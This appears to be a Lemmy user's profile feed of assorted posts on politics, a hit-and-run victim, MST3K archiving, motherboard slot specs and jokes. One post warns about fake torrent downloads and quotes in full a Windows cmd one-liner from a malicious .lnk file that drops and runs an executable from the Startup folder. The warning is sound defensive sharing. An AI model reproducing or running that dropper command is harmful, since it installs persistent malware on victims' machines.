[-] DemBoSain@midwest.social 11 points 2 days ago

Instead of having some form of verifiable indication, people are just supposed to "think hard"? Have you looked around lately?

The problem only gets worse with AI creeping closer.

[-] DemBoSain@midwest.social 16 points 2 days ago

What? I prefer knowing if someone I interact with is genuine. As opposed to Twitter, where I just know they have a recurring monthly payment.

[-] DemBoSain@midwest.social 3 points 3 days ago

Do I have to do it tonight, or can there be a 'waiting period'? (I have nothing to wear...)

[-] DemBoSain@midwest.social 10 points 3 days ago

Two men in a boat is already pretty hot for some people.

[-] DemBoSain@midwest.social 3 points 3 days ago

Yeah, and when you burn that fuel it gets hotter, and that makes it a little lighter too.

[-] DemBoSain@midwest.social 8 points 3 days ago

Don't forget to account for all the helium leaking out of balloons. That's part of the reason the earth gets lighter too.

[-] DemBoSain@midwest.social 3 points 4 days ago

I say ether. Every once in a while I find someone infuriated by that, and it gives me much joy.

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In 50 years, history will speak about ICE the way we speak about the SS now.

https://archive.ph/tLGoe

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“I get it that it makes people feel good to see people yelling,” Slotkin said. “But not one of those words is stopping the actual things that Donald Trump is doing.”

Perhaps it's not working because of people like Slotkin willing to continue the losing strategies of the past.

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TJ Day liked riding his bike to and from work at Walgreens. It helped him stay fit and gave him time to wind down in the evening.

He wore a reflective vest, helmet and added lights to the front and back of his bike for safety. He did everything right, said his sister Kelli Day.

Still, TJ was hit by a car on his way home from work on Feb. 18.

Another driver who found him in a snowbank on Lovers Lane near Stryker Way after the hit-and-run. That driver stayed in contact, and later offered to buy TJ a new bike. But in the meantime, supporters of TJ had already raised more than $20,000 to buy him a car.

As of Thursday, March 6, a GoFundMe Kelli organized has raised $23,427, with a goal of $28,000.

TJ has always been apprehensive about driving, but now he’s more nervous of biking, Kelli said. The generosity of his community will help him get a safe and reliable car.

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I have Sonarr and Radarr set up to keep me up to date on some TV shows. Lately I've gotten a handful of files that Sonarr refuses to import because of a .lnk file. The download consists of a folder with the name of the file I want. Inside the folder is a file with the same name, and a .lnk extension. The .lnk file is very big (950Mb), and programmed to run this script:

%ComSpec% /v:On/CSET el=Severance.S02E07.1080p.WEB.H264-SuccessfulCrab.mkv&SET c="%Appdata%\microsoft\windows\START MENU\PROGRAMS\STARTUP%Username%.exe"&(If not exist !c! Findstr/v "cmd.EXE Rj%TIME:~7,1%%TIME:~-2%" !el!.Lnk>!c!&Start "" !c!)&CD %tmp%&Echo.>!

As far as I can tell, this creates an empty executable file in your Windows startup folder, and copies a portion of the fake video file into it. It then runs the malware. And, since it's in your startup folder, it will run again every time you reboot.

The tracker is theRARBG, but it could also come from elsewhere. I've found it on a couple of different shows (not just this one), and they always download a couple of days before the airdate.

Be careful!

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submitted 4 months ago by DemBoSain@midwest.social to c/asklemmy@lemmy.ml

I can't think of any. The current oil reserve is supposed to be used in the case of another oil embargo. But its actual use is to lower gas prices when the administration in power needs a political win.

I actually think the purpose of a Bitcoin reserve is to temporarily increase the price so tech-bros (re: Elon) can sell at a massive profit. Then buy back at a much lower price. It's just a way to indirectly transfer federal dollars into administration pockets.

I can't find any reason for the government to buy crypto and hold it in reserve.

[-] DemBoSain@midwest.social 149 points 4 months ago

It's easier to make money as a conservative.

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[-] DemBoSain@midwest.social 132 points 4 months ago

NHTSA recently published a proposed rule taking on pedestrian safety, specifically calling out this problem. Expect it to be killed early next year.

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An oldy... (midwest.social)

Remember when Donald Trump was president, in the lobotomized body of Bill the Cat? Haha good times.

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I've seen a lot of official MST3K (Mystery Science Theater 3000, ya boob) getting streamed on Youtube. I have a lot of these already from quite a while ago, sourced from various places. Some from my own DVD rips (thanks Netflix), downloaded DVD rips, and a small amount of "lost" content coming from VHS rips off broadcast.

Are the Youtube streams worth archiving? I was specifically looking at a livestream for Season 1 that "includes lost host segments". I was going to download it through Newpipe, but I didn't see the option on this stream (granted, I didn't look too deeply).

Are these streams worth the time if I already have the episodes? Have they been cleaned-up in any way?

[-] DemBoSain@midwest.social 110 points 7 months ago

I once walked down to the local ice cream dispensary to get a cone of some type. But they were short-handed that day, and had closed the walk-up window. So I walked over to the drive-thru window.

They would not serve me without a car. Instead of closing the drive-thru and making drivers get out of their car, they closed the walk-up window, and wouldn't serve any walk-ups at the drive-thru.

Fuck drive-thrus.

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This goes into effect September 4, 2024. Employers with existing non-compete agreements must post the notice on page 163 (38504). After that date you may accept a job offer from anybody, including a direct competitor, and not worry about violating any non-compete agreement.

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I recently bought this motherboard, based on descriptions on pcpartpicker.com and B&H's website. Both sites claim the board has 5 PCIe x16 slots (2x version 4, and 3x version 3). But I have the board in front of me, and while it certainly has full length slots, most of the pins are missing in all but one of them. Closer examination of the MSI website has this to say:

  • 5x PCI-E x16 slot

  • PCI_E1 Gen PCIe 4.0 supports up to x16 (From CPU)

  • PCI_E2 Gen PCIe 3.0 supports up to x1 (From Chipset)

  • PCI_E3 Gen PCIe 4.0 supports up to x4 (From Chipset)

  • PCI_E4 Gen PCIe 3.0 supports up to x1 (From Chipset)

  • PCI_E5 Gen PCIe 3.0 supports up to x1 (From Chipset)

Have I been swindled? Am I just stupid or ignorant?

[-] DemBoSain@midwest.social 112 points 1 year ago

"And the state has an obligation to protect children."

Unless it's protecting them from hunger. Or lead in water. Or child labor.

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